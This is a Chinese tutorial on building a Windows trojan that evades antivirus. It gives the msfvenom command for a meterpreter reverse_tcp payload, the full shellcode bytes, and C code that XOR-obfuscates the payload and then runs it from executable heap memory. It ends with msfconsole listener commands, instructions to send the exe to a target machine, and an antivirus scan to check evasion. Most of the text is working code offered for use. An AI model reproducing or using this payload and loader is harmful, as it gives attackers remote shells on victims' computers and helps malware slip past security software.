msfvenom——木马免杀
测试工具
msfvenom、vscode,火绒安全
C语言执行
生成buf{}数组
命令:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c
得到buf数组,如图:

C语言编译
将其复制到vscode中进行编译
1 //混淆木马 2 #include <stdio.h> 3 // 需要引入额外的参数 4 #include <stdlib.h> 5 #include <windows.h> 6 unsigned char buf[] = 7 "\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52" 8 "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x31\xff\x0f\xb7" 9 "\x4a\x26\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" 10 "\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01" 11 "\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18" 12 "\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31" 13 "\xff\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75" 14 "\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01" 15 "\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01" 16 "\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58" 17 "\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00" 18 "\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8" 19 "\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80" 20 "\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x63\x05\x68\x02\x00" 21 "\x27\x0f\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" 22 "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74" 23 "\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67" 24 "\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f" 25 "\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10" 26 "\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53" 27 "\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8" 28 "\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b" 29 "\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e" 30 "\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff" 31 "\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a" 32 "\x00\x53\xff\xd5"; 33 34 35 void EncodeStr(){ 36 int key = 88; 37 int i; 38 for (i = 0; i < sizeof(buf)/sizeof(buf[0]); i++){ 39 int tmp = buf[i] ^ key; 40 // %x 输出 数值类型的十六进制 41 printf("\\x%x",tmp); 42 } 43 } 44 int main(int argc, char** argv) { 45 EncodeStr(); 46 return 0; 47 }
生成shellcode{}
右击,选run code 执行

得到shellcode{}

C语言编译exe
在将其复制到C语言程序中编译
1 //上线木马 2 #include <stdio.h> 3 // 需要引入额外的参数 4 #include <stdlib.h> 5 #include <windows.h> 6 unsigned char shellcode[] = "\xa4\xb0\xd7\x58\x58\x58\x38\x69\x8a\xd1\xbd\x3c\xd3\xa\x68\xd3\xa\x54\xd3\xa\x4c\xd3\x2a\x70\x69\xa7\x57\xef\x12\x7e\x69\x98\xf4\x64\x39\x24\x5a\x74\x78\x99\x97\x55\x59\x9f\x11\x2d\xb7\xa\xf\xd3\xa\x48\xd3\x1a\x64\x59\x88\xd3\x18\x20\xdd\x98\x2c\x14\x59\x88\x8\xd3\x10\x40\xd3\x0\x78\x59\x8b\xdd\x91\x2c\x64\x11\xd3\x6c\xd3\x69\xa7\x59\x8e\x69\x98\x99\x97\x55\xf4\x59\x9f\x60\xb8\x2d\xac\x5b\x25\xa0\x63\x25\x7c\x2d\xb8\x0\xd3\x0\x7c\x59\x8b\x3e\xd3\x54\x13\xd3\x0\x44\x59\x8b\xd3\x5c\xd3\x59\x88\xd1\x1c\x7c\x7c\x3\x3\x39\x1\x2\x9\xa7\xb8\x0\x7\x2\xd3\x4a\xb1\xd8\xa7\xa7\xa7\x5\x30\x6b\x6a\x58\x58\x30\x2f\x2b\x6a\x7\xc\x30\x14\x2f\x7e\x5f\xd1\xb0\xa7\x88\xe0\xc8\x59\x58\x58\x71\x9c\xc\x8\x30\x71\xd8\x33\x58\xa7\x8d\x32\x52\x30\x98\xf0\x3b\x5d\x30\x5a\x58\x7f\x57\xd1\xbe\x8\x8\x8\x8\x18\x8\x18\x8\x30\xb2\x57\x87\xb8\xa7\x8d\xcf\x32\x48\xe\xf\x30\xc1\xfd\x2c\x39\xa7\x8d\xdd\x98\x2c\x52\xa7\x16\x50\x2d\xb4\xb0\x3f\x58\x58\x58\x32\x58\x32\x5c\xe\xf\x30\x5a\x81\x90\x7\xa7\x8d\xdb\xa0\x58\x26\x6e\xd3\x6e\x32\x18\x30\x58\x48\x58\x58\xe\x32\x58\x30\x0\xfc\xb\xbd\xa7\x8d\xcb\xb\x32\x58\xe\xb\xf\x30\x5a\x81\x90\x7\xa7\x8d\xdb\xa0\x58\x25\x70\x0\x30\x58\x18\x58\x58\x32\x58\x8\x30\x53\x77\x57\x68\xa7\x8d\xf\x30\x2d\x36\x15\x39\xa7\x8d\x6\x6\xa7\x54\x7c\x57\xdd\x28\xa7\xa7\xa7\xb1\xc3\xa7\xa7\xa7\x59\x9b\x71\x9e\x2d\x99\x9b\xe3\xa8\xed\xfa\xe\x32\x58\xb\xa7\x8d\x58"; 7 void start(){ 8 unsigned char buf [3000]; 9 int key = 88; 10 int i; 11 for (i = 0; i < sizeof(shellcode)/sizeof(shellcode[0]); i++){ 12 int tmp = shellcode[i] ^ key; 13 buf[i] = tmp; 14 } 15 HANDLE myHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0); 16 void* exec = HeapAlloc(myHeap, HEAP_ZERO_MEMORY, sizeof(buf)); 17 memcpy(exec, buf, sizeof(buf)); 18 ((void(*)())exec)(); 19 } 20 int main(int argc, char** argv) { 21 start(); 22 return 0; 23 }
右击,选中 run code 执行得到xxx.exe木马文件

将其发送到客户机执行
监听
监听设置
打开kali,输入
msfconsole


出现 msf 6> 后依次输入
use exploit/multi/handler set payloads windows/meterpreter/reverset_tcp set lhost 192.168.99.5 //监听地址 set lport 9999 //监听端口 run //开启监听
开启监听

回到客户机,模拟客户 双击打开木马文件

即可获得对方 shell
木马风险测试
打开火绒安全卫士或者360卫士扫描该木马文件得到结果:


浙公网安备 33010602011771号